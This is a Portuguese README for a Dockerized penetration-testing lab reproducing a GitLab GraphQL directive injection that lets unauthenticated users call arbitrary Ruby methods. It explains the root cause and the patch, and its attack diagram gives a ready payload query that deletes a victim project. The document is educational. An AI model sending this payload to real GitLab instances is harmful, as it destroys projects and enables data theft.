Laboratório de exploits dockerizado e script para CVE-2026-19478, uma injeção crítica de código GraphQL não autenticada no GitLab que permite chamadas arbitrárias de métodos Ruby, exclusão de projetos e exfiltração de dados.
Injeção Remota de Código sem Autenticação via Diretiva GraphQL no GitLab CE/EE — Exclua Qualquer Projeto Público com uma Única Requisição HTTP
Um laboratório prático de testes de penetração que reproduz o CVE-2026-19478, uma vulnerabilidade crítica (CVSS 9.4) na API GraphQL do GitLab. A diretiva @gl_introduced permite que atacantes não autenticados executem métodos Ruby arbitrários em objetos no lado do servidor — incluindo exclusão de projetos, exfiltração de dados e transferência de propriedade — sem nenhuma autenticação.
Este laboratório executa, em Docker, uma instância real e vulnerável do GitLab CE 19.2.0 para uma prática realista de exploração.
| Campo | Valor |
|---|---|
| ID do CVE | CVE-2026-19478 |
| Pontuação CVSS | 9.4 (Crítico) |
| Produto | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| Tipo de Vulnerabilidade | Injeção de Código / Execução Arbitrária de Métodos (CWE-94) |
| Vetor de Ataque | Rede (Remoto) |
| Autenticação | Nenhuma exigida |
| Interação do Usuário | Nenhuma |
| Complexidade do Ataque | Baixa |
| Versões Afetadas | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| Versões Corrigidas | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Descoberto Por | hiimguardian (via HackerOne) |
| Data da Correção | 17 de agosto de 2026 |
Um atacante remoto não autenticado pode:
O GitLab usa uma diretiva GraphQL personalizada @gl_introduced(version: "X.Y") para dar suporte a implantações contínuas (rolling deployments). Quando uma versão mais recente do GitLab adiciona um campo à API GraphQL, instâncias mais antigas tratam consultas que referenciam esses novos campos de forma graciosa, retornando null em vez de gerar erro.
Arquivo: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Linhas 14-36)
Análise passo a passo:
O FutureFieldFilter examina as consultas GraphQL recebidas. Quando um campo possui @gl_introduced(version) com uma versão mais recente que a do servidor atual, ele remove o campo e define context[:contain_future_fields] = true.
O IntroducedTracer restaura o documento de consulta original no momento da execução, recolocando os campos removidos de volta na AST.
O FutureFieldFallback#get_field intercepta toda busca de campos durante a execução. Ele verifica três condições:
contain_future_fields está definida? ✅__? ✅Quando todas as três verificações passam, ele sintetiza um novo GraphQL::Schema::Field sem classe de resolver.
No graphql-ruby, um campo sem resolver é resolvido chamando object.public_send(field_name) no objeto Ruby subjacente — convertendo o nome do campo do atacante em uma chamada de método arbitrária no modelo Project do ActiveRecord.
A correção do GitLab substitui o despacho implícito de métodos por um NilResolver explícito que retorna nil incondicionalmente, preservando a compatibilidade com implantações contínuas e eliminando a execução arbitrária de métodos:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie para testar a API# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh